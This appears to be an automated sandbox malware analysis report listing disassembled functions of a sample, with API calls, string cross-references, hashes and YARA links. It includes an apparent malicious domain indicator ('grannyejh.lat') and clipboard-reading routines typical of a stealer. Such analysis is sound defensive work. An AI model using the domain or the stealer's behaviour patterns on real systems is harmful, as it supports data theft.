Opcode Fuzzy Hash: c2416ef642491591abf17dd00908a4992512ceddfa07f6a9ada64141ddd3ac97
Instruction Fuzzy Hash: FD512972A046028BD324CF39CC52577B7F3EF96314B18867ED056A77D6EB38A4428798

Function 0043D7B0 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

SRQP, xrefs: 0043D7D5

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID: SRQP
API String ID: 2994545307-1594865775
Opcode ID: b210a77e2b88aa762e1577c6406834ecba7d95de30fd401ab2cb4ed11d2f9a86
Instruction ID: 989ab0c3e68e5812f3ed57fcfafc3cbcd4704314fcbfcacb7c37fac62b62a659
Opcode Fuzzy Hash: b210a77e2b88aa762e1577c6406834ecba7d95de30fd401ab2cb4ed11d2f9a86
Instruction Fuzzy Hash: 1B310834B04300AFE719AB14AC80B7BB7E5EF89714F246A2DE59597391C334FC518749

Function 004259F0 Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: be0a5b7cff1e3ebdef9de0425327d4f69ac6013617aae73960c843f1d5268769
Instruction ID: 3030b71853e9339311f693463ce54af61d3d315cbfab627b3ca9803fb57fb25d
Opcode Fuzzy Hash: be0a5b7cff1e3ebdef9de0425327d4f69ac6013617aae73960c843f1d5268769
Instruction Fuzzy Hash: 06B1AD71B08B249BDB14CF25A84267BB792EFD1310FD9C53EE8859B341E638DD068399

Function 0040A283 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf02f33a1b1daf24cb9931d2c77368c986719a259f34d71f5120d67179880b9b
Instruction ID: 5a51797baa4f70cbea165017b6113697cdba228a7bf23c75e374c08b22add460
Opcode Fuzzy Hash: cf02f33a1b1daf24cb9931d2c77368c986719a259f34d71f5120d67179880b9b
Instruction Fuzzy Hash: 3F713AB6E113119FCB14CFA8CDC269EBFB1EB84310F198179D850BB345C67899068BE5

Function 004183F0 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e81324b0c1cf33e0573523311454ee194a1e1005c46ec32a071a01332caec5
Instruction ID: 751e2f74ea9cad05592f5d8bb9552b2fb1e8924ab4a69e6f79150cb4c6a0c79f
Opcode Fuzzy Hash: 99e81324b0c1cf33e0573523311454ee194a1e1005c46ec32a071a01332caec5
Instruction Fuzzy Hash: 655114B69042219BC7208F24DC427AB73A1FF96358F08493EF895873A1FB389944C75A

Function 004087A0 Relevance: 7.5, APIs: 5, Instructions: 27
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004087B8
GetCurrentThreadId.KERNEL32 ref: 004087BE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087CD
GetForegroundWindow.USER32(?,00000010,00000000), ref: 004087D3

Part of subcall function 0040B510: FreeLibrary.KERNEL32(004087F9,00000010,00000000), ref: 0040B516
Part of subcall function 0040B510: FreeLibrary.KERNEL32 ref: 0040B537

ExitProcess.KERNEL32 ref: 00408800

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 3676751680-0
Opcode ID: 21bd698dd96b649f409366f4b954b77aa43a9efba90f2450923aa7d9f6643372
Instruction ID: efc7088809ba8cf20e2d707f0df16ced709f8c36e2f02579ccc9f0a6e44102c5
Opcode Fuzzy Hash: 21bd698dd96b649f409366f4b954b77aa43a9efba90f2450923aa7d9f6643372
Instruction Fuzzy Hash: 99E065B464030066D9507BE29D0B71836109F0670BF14143EBBC46E2DBDE7D2498857F

Function 0043AEC5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 0043AF78

Strings

|}~, xrefs: 0043AEF3
#xz, xrefs: 0043AEEB

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: LibraryLoad
String ID: #xz$|}~
API String ID: 1029625771-3181759514
Opcode ID: 663d1f37cba9ae336453a67d969d0eadb23e5ceb7d3a620db317f36db9321fd2
Instruction ID: 9d6fd7f183629d6f5671af56f8e4d61466d5997296eac2cb3b52d42b2c6829cf
Opcode Fuzzy Hash: 663d1f37cba9ae336453a67d969d0eadb23e5ceb7d3a620db317f36db9321fd2
Instruction Fuzzy Hash: FC21A17664C3058FD708DF68CC9179AB7E1EB86200F04883DA991C7395E674E50EDB5A

Function 00433E3B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00433E77

Strings

]AFG, xrefs: 00433EAB

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: ]AFG
API String ID: 95929093-669045540
Opcode ID: 4679b5e216c382fe734f1540f62582b300b0f6a024146c0e33c0681eb5952257
Instruction ID: 5efb7c02271164443452c92132bb36d5d815bba63d7bab123c99ea9d2f26bed1
Opcode Fuzzy Hash: 4679b5e216c382fe734f1540f62582b300b0f6a024146c0e33c0681eb5952257
Instruction Fuzzy Hash: 3721A170A042948BCB29CF39DD9439E7BB25F9A304F1481EDD44EA3381CB384A858B15

Function 00439600 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,EA,?,0041450A,00000400), ref: 00439610

Strings

EA, xrefs: 00439601, 0043960A

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: AllocateHeap
String ID: EA
API String ID: 1279760036-2114164354
Opcode ID: 3e1ceb89b250fb9d12f092212fcf4fe67dd3e46b0e81a7b895b6807b367db28a
Instruction ID: 072a079bc63fcf67ee4329f4ce4bd41d3d21b92436fb07c3b665bbd367ae41b4
Opcode Fuzzy Hash: 3e1ceb89b250fb9d12f092212fcf4fe67dd3e46b0e81a7b895b6807b367db28a
Instruction Fuzzy Hash: 88C04C31455120BBCA142B15EC05BCA3A549F55263F011066B045660718760AC81C6D8

Function 0040C726 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C72A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C877

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 05c4c1416ea442637c99b95b2e70e57e8ad7658d526ce65787b2e92417fc1243
Instruction ID: 7c48f2d6d9308c2411c64d4738aed0816c10745a2db0d8d39336d96daee36388
Opcode Fuzzy Hash: 05c4c1416ea442637c99b95b2e70e57e8ad7658d526ce65787b2e92417fc1243
Instruction Fuzzy Hash: 9541C7B4D10B40AFD370EF399A0B7137EB4AB05250F504B1EF9EA866D4E631A4198BD7

Function 00432187 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 004321D2
GetSystemMetrics.USER32 ref: 004321E1

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 5d644a1a770608b13facf271ce148477aa9eaac83cb491c78634d3c21ba9b618
Instruction ID: 25b67dd5c9de23268ffdff418aa0df1ace25e739cbd36745d59bc728b3d50acd
Opcode Fuzzy Hash: 5d644a1a770608b13facf271ce148477aa9eaac83cb491c78634d3c21ba9b618
Instruction Fuzzy Hash: 0811B2F0E142049FDB40EFBCD9466ADBFF4AB48304F00452AE888E7350E734A9588F86

Function 0040C8CA Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C8DC
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C902

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 2113889d20fd7c9c411ab6a2aba348bd901a827719f9c1a9d7cfb8ea4c61774b
Instruction ID: 95cf4bee976dae0bcf9a79aead2fc5f500003fb62c798666b3966767b998ac5e
Opcode Fuzzy Hash: 2113889d20fd7c9c411ab6a2aba348bd901a827719f9c1a9d7cfb8ea4c61774b
Instruction Fuzzy Hash: 7EE067383C83017EF6B84754AC17F1536166B86F22F745315B7653D6E4CAE03159890D

Function 0043B5B5 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043B5B5
GetForegroundWindow.USER32 ref: 0043B5D0

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: eb91c03ac02748fd9a52c84624d36c8f3b0abdddf9006fb09863476707b900f4
Instruction ID: c9c837826981fc4d2580c52c24397bb06af3c9db5131d6b4f1e0de87f73497d6
Opcode Fuzzy Hash: eb91c03ac02748fd9a52c84624d36c8f3b0abdddf9006fb09863476707b900f4
Instruction Fuzzy Hash: A8D05EECE2000057C744AB61FC4B4173629D797309715953AFC0782312D536E428858B

Function 0043B162 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d04505e51facc5b32f2d46e3ea49eda4a71b90d2ad25abc0127d4398331492
Instruction ID: a1e78b3ceb65990a0dc15ec4eb894bfdfd4cd795acfd92ef14c0ecb3ae398032
Opcode Fuzzy Hash: 64d04505e51facc5b32f2d46e3ea49eda4a71b90d2ad25abc0127d4398331492
Instruction Fuzzy Hash: CBE02676595510BAD6152F38BC0BB2B36249F97B63F02243AF40190026EB6ED801C1DF

Function 0042F31C Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042F35F

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: a5e332c65244988efad0a3fad62dab6d46846a63c729a6b1c9e9e974a5697ce1
Instruction ID: b0e67e51cabac05ef7007a9fd91dfbb9b9c3aa36a7932c1a17be2c81c6bee5d5
Opcode Fuzzy Hash: a5e332c65244988efad0a3fad62dab6d46846a63c729a6b1c9e9e974a5697ce1
Instruction Fuzzy Hash: 7CF098B45097029FE314DF25D5A8B1ABBF1BB84304F10881CE5998B391D7B5A548CF82

Function 0042FB82 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FBC7

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: b9ace7e5ecfa49b5e397008da619b278df4797f36f2894134675a55ea546d02c
Instruction ID: 14902b2bb6b259fc0b89299fd859114d3daed4383d8227e32e78047560e3e05d
Opcode Fuzzy Hash: b9ace7e5ecfa49b5e397008da619b278df4797f36f2894134675a55ea546d02c
Instruction Fuzzy Hash: 25F074B45093419FE314DF61D5A871BBBE1FBC8308F20891CE0980B695C3B996498F82

Function 00439632 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043964B

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 0ab2c1de21248f5cc5ebcf9bf3fcb36daf71926275e6500f406ad94933e9c0d7
Instruction ID: def4dad81fe2a48fb23eafc83009012cc86c19b116f157a98ec82edf970c520b
Opcode Fuzzy Hash: 0ab2c1de21248f5cc5ebcf9bf3fcb36daf71926275e6500f406ad94933e9c0d7
Instruction Fuzzy Hash: B9C08C30000622FBC2103F14BC0BB893A20EF02312F0314B1B441A90B1E724CC50C6C8

Non-executed Functions

Function 00431020 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 106clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431030
GetClipboardData.USER32 ref: 0043104B
GlobalLock.KERNEL32 ref: 0043106A
GetWindowLongW.USER32 ref: 004310BC
GlobalUnlock.KERNEL32 ref: 00431180
CloseClipboard.USER32 ref: 00431189

Strings

t, xrefs: 004310DC
B, xrefs: 004310CD
o, xrefs: 004310FF
j, xrefs: 004310F0
f, xrefs: 004310EB
z, xrefs: 004310D7
i, xrefs: 00431109
y, xrefs: 004310E6
~, xrefs: 004310D2
g, xrefs: 004310E1
}, xrefs: 004310F5

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: B$f$g$i$j$o$t$y$z$}$~
API String ID: 2832541153-3431088675
Opcode ID: 0160fd8d480660f35874ceb680c4164cf840f46fd641679df1f178a62e5b380e
Instruction ID: 2b5bc8521efa19f50317a139f46d1ceb2265f287572faca6612f44f9b77b85ae
Opcode Fuzzy Hash: 0160fd8d480660f35874ceb680c4164cf840f46fd641679df1f178a62e5b380e
Instruction Fuzzy Hash: 7B417CB050C3808ED301AF78D94935EBFE1AB9A308F09497EE5C986392D67D8558C767

Function 0040AE20 Relevance: 18.0, Strings: 14, Instructions: 485COMMON

Download Yara Rule

Strings

^jUl, xrefs: 0040AFE4
r&^8, xrefs: 0040AF62
G:<, xrefs: 0040AF6C
>f?x, xrefs: 0040B002
pJkL, xrefs: 0040AF94
<Z9\, xrefs: 0040AFBC
Ab[d, xrefs: 0040AFF8
-z&|, xrefs: 0040B00C
>t0, xrefs: 0040AF76
^nY`, xrefs: 0040AFEE
`Vdh, xrefs: 0040AFDA
!~Cp, xrefs: 0040B016
%RlT, xrefs: 0040AFD0
1B?D, xrefs: 0040AFA8

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: >t0$!~Cp$%RlT$-z&|$1B?D$<Z9\$>f?x$Ab[d$G:<$^jUl$^nY`$`Vdh$pJkL$r&^8
API String ID: 0-1663888199
Opcode ID: ec9d5ad6efa2e0e83d3a944f8f5fdcd0d6edd0840de8023ee4da326fa5a8889b
Instruction ID: 0f071aa952705e74209860cce06fa5e6359a398553a4f88fc65c3bdd75f4b665
Opcode Fuzzy Hash: ec9d5ad6efa2e0e83d3a944f8f5fdcd0d6edd0840de8023ee4da326fa5a8889b
Instruction Fuzzy Hash: 3A02BBB5200B01CFD3248F79D8557A7BBE1FB45310F148A2DE5AA9BBA0DBB4A405CF48

Function 0041D400 Relevance: 17.1, Strings: 13, Instructions: 881COMMON

Download Yara Rule

Strings

hl, xrefs: 0041DD56
9./`, xrefs: 0041D7EE
U, xrefs: 0041DAD8
w, xrefs: 0041DD5D
dein, xrefs: 0041D76E
lg, xrefs: 0041D838
boaa, xrefs: 0041DAC8
GAWJ, xrefs: 0041D79E
*;, xrefs: 0041D7DE
[\V, xrefs: 0041D796
qcce, xrefs: 0041DAD0
_66N, xrefs: 0041D78E
1nnh, xrefs: 0041D82D

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: *;$1nnh$9./`$GAWJ$U$[\V$_66N$boaa$dein$hl$lg$qcce$w
API String ID: 0-714444217
Opcode ID: 3f2d1fac863bf35d4592e66923841910d621e31973831fa63d5a8e0d7de2c42e
Instruction ID: dd8b33ae5b7dd411e3d241eda01dfc98351f3dc95584a99a473f0adb86a77f16
Opcode Fuzzy Hash: 3f2d1fac863bf35d4592e66923841910d621e31973831fa63d5a8e0d7de2c42e
Instruction Fuzzy Hash: 3C524BB190C3508FC725DF28C8407AFBBE1AF96304F08867EE8E59B392D6399945C756

Function 00425E40 Relevance: 16.9, Strings: 13, Instructions: 669COMMON

Download Yara Rule

Strings

ojgm, xrefs: 0042649D
S1]3, xrefs: 004267A0
K%H', xrefs: 00426782
N)C+, xrefs: 0042678A
YRSG, xrefs: 0042647D
]ZXD, xrefs: 00426485
DE, xrefs: 004267D7
Z5P7, xrefs: 004267AB
K-r/, xrefs: 00426795
$A$C, xrefs: 004267CC
Q9];, xrefs: 004267B6
|!A#, xrefs: 00426826
-]^C, xrefs: 00426455, 00426466

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: $A$C$-]^C$DE$K%H'$K-r/$N)C+$Q9];$S1]3$YRSG$Z5P7$]ZXD$ojgm$|!A#
API String ID: 0-1681748943
Opcode ID: f005c0901f789223cd58cc448166d20cff71cb87bd5f0fe4abff1d5146f5dd95
Instruction ID: f5ab92e2c547fcbf8ef1c11eaf796bbbc0b57f4f6981f81f49341ceaf64e483c
Opcode Fuzzy Hash: f005c0901f789223cd58cc448166d20cff71cb87bd5f0fe4abff1d5146f5dd95
Instruction Fuzzy Hash: 312267B16083908FD714DF29E85136BBBE1AFD6304F09883EE4D597352E639D905CB4A

Function 00421CAB Relevance: 15.9, Strings: 12, Instructions: 894COMMON

Download Yara Rule

Strings

U%RV, xrefs: 00421CDE
Y%RV, xrefs: 0042269A
U%RV, xrefs: 00422576
Y%RV, xrefs: 004223FA
Y%RV, xrefs: 00421F8A
Y%RV, xrefs: 0042234A
Y%RV, xrefs: 00421D3A
U%RV, xrefs: 00421F38
Y%RV, xrefs: 004225CA
U%RV, xrefs: 00422640
U%RV, xrefs: 0042239D
U%RV, xrefs: 004222F7

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: U%RV$U%RV$U%RV$U%RV$U%RV$U%RV$Y%RV$Y%RV$Y%RV$Y%RV$Y%RV$Y%RV
API String ID: 0-3684172202
Opcode ID: adf0c2e9c633c089042a032d080fee9fb6394e7b4a1da8ee1e4d39c50c1df3b3
Instruction ID: 3b04f31993b6cd925e01e16ca2454c89d640cb841f72f26cd3d2d99b156ab46a
Opcode Fuzzy Hash: adf0c2e9c633c089042a032d080fee9fb6394e7b4a1da8ee1e4d39c50c1df3b3
Instruction Fuzzy Hash: 3B522276B01122DBCB18CF68DC506AEB7B2FB8A310F29817CD846A7394D7789D51CB84

Function 00424E40 Relevance: 12.8, Strings: 10, Instructions: 325COMMON

Download Yara Rule

Strings

{-G/, xrefs: 0042513D
DE, xrefs: 0042516D
rst, xrefs: 004250C6
q=_?, xrefs: 0042515D
M%J', xrefs: 0042512D
[5A7, xrefs: 0042514D
^1V3, xrefs: 00425145
)A.C, xrefs: 00425165
CzE|, xrefs: 004250D0
m!C#, xrefs: 00425174

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: rst$)A.C$CzE|$DE$M%J'$[5A7$^1V3$m!C#$q=_?${-G/
API String ID: 0-1133353913
Opcode ID: fc8610a4db3fcdaaf23b875d54acbd015691132519733419f9fbcf1efae46892
Instruction ID: 062e4c2e49ed4084361cfd2dc51809e3c57bf4f9607e9aeb51279615d27ce93a
Opcode Fuzzy Hash: fc8610a4db3fcdaaf23b875d54acbd015691132519733419f9fbcf1efae46892
Instruction Fuzzy Hash: 9B915772A083208BD714CF15D8913ABB7E1FFD5314F49892DE8CA9B390E7789904CB86

Function 00417BFA Relevance: 10.6, Strings: 8, Instructions: 629COMMON

Download Yara Rule

Strings

/^ P, xrefs: 00417C43
h]m_, xrefs: 0041805D
RaGc, xrefs: 00418065
4V*h, xrefs: 00417C53
6R!T, xrefs: 00417C4B
fgx, xrefs: 00417C73
jWo, xrefs: 0041837A
fWo, xrefs: 00418322

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: fgx$/^ P$4V*h$6R!T$RaGc$fWo$h]m_$jWo
API String ID: 0-3660092546
Opcode ID: e7da89803c040491e4d2fe438a7d7a413fb54a49df1d932ccab013ebdb27bf06
Instruction ID: eb508a7ccd9695fc57cfbcc3df19fb92cf6cbc24581256188924ca0b1646c8cf
Opcode Fuzzy Hash: e7da89803c040491e4d2fe438a7d7a413fb54a49df1d932ccab013ebdb27bf06
Instruction Fuzzy Hash: AC2225766083118BC724CF28C8916ABB7F2FFC9754F198A6DE8C95B354E7388941C746

Function 004192F0 Relevance: 10.3, APIs: 2, Strings: 3, Instructions: 1510COMMON

Download Yara Rule

APIs

Part of subcall function 0043B1C0: LdrInitializeThunk.NTDLL(0043D3E8,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B1EE

FreeLibrary.KERNEL32(?), ref: 0041998A
FreeLibrary.KERNEL32(?), ref: 00419A1B

Strings

GI, xrefs: 004196CD
#v, xrefs: 0041998A, 00419A1B
*+, xrefs: 004197CD

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: *+$#v$GI
API String ID: 764372645-3120302328
Opcode ID: a0edb99b79fe52b678b56532b2e2bc10beeb045d480d98f0be9cd1fdf13272b3
Instruction ID: c5c4e280d43ba248472c341612864cb891257eec2a5ae9e7b1fbbb01ee1924c6
Opcode Fuzzy Hash: a0edb99b79fe52b678b56532b2e2bc10beeb045d480d98f0be9cd1fdf13272b3
Instruction Fuzzy Hash: 44A224317083405BD721CF68CC907ABBBA2AFC5354F28892DE5998B3A2D775DC85CB46

Function 00415A0E Relevance: 9.5, Strings: 7, Instructions: 707COMMON

Download Yara Rule

Strings

[)u, xrefs: 00415B56
+,, xrefs: 00415AC8
7, xrefs: 00415B30
B`A, xrefs: 00416032
s, xrefs: 00415E33
P<?, xrefs: 00416140
gfff, xrefs: 00415B5F

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: [)u$+,$7$B`A$P<?$gfff$s
API String ID: 0-3436754772
Opcode ID: 6d9b583597e22855f98ac2dc2515ea7d2d91de0a60f0dd18539040e276828374
Instruction ID: 6d10214af21920bb08381577f264cbe6c481156426303290986e2969e01ca657
Opcode Fuzzy Hash: 6d9b583597e22855f98ac2dc2515ea7d2d91de0a60f0dd18539040e276828374
Instruction Fuzzy Hash: F10236316087418FD724CF28D8907AB7BE2FBCA314F59862DE4C997392D7389945CB4A

Function 0040C93E Relevance: 7.8, Strings: 6, Instructions: 300COMMON

Download Yara Rule

Strings

G|, xrefs: 0040CB46
CC, xrefs: 0040CB4D
k{pm, xrefs: 0040CA02
KG, xrefs: 0040CB3F
ta`u, xrefs: 0040CA09
grannyejh.lat, xrefs: 0040CCA9

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: CC$G|$KG$grannyejh.lat$k{pm$ta`u
API String ID: 0-828990602
Opcode ID: 4f253eed3f5f69b2ee2b82aa87d8c0b0c3e4401e760ee46f82dce1e29cf8ef6c
Instruction ID: 20d41328c34446dd9aef344bb0e1a8efa5e2f47056c53e3d15000b74550e283f
Opcode Fuzzy Hash: 4f253eed3f5f69b2ee2b82aa87d8c0b0c3e4401e760ee46f82dce1e29cf8ef6c
Instruction Fuzzy Hash: DEA1D0B12017418FD319CF29C491B62BBE2EF96304B2985AED0979F7A2C778D802CF55

Function 00427E16 Relevance: 6.7, Strings: 5, Instructions: 497COMMON

Download Yara Rule

Strings

EW, xrefs: 00428175
D_, xrefs: 00428183
HY, xrefs: 004281D7, 004282BD, 00428397
HY, xrefs: 0042817C
c8[:, xrefs: 00428264

Memory Dump Source

Source File: 00000004.00000002.2923052938.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_NHEXQatKdE.jbxd

Similarity

API ID:
String ID: D_$EW$HY$HY$c8[:
API String ID: 0-707503002
Opcode ID: 02345c6d571df1dd11e13c004ba1aea8720a1f96eb7346d2109cfc41cd1b79d1
Instruction ID: f25270122beee34f42c382278f46ba8f34327bf83344a6fa77f9d714242467c6
Opcode Fuzzy Hash: 02345c6d571df1dd11e13c004ba1aea8720a1f96eb7346d2109cfc41cd1b79d1
Instruction Fuzzy Hash: DBE15775E012218BCB10CF58C8406BAB7F2FF9A314F69819DD8816F755E739AC42CB94

Function 0042D1C4 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 310COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042D4C2

Strings

#v, xrefs: 0042D4C2
w, xrefs: 0042D4EB

Memory Dump Source

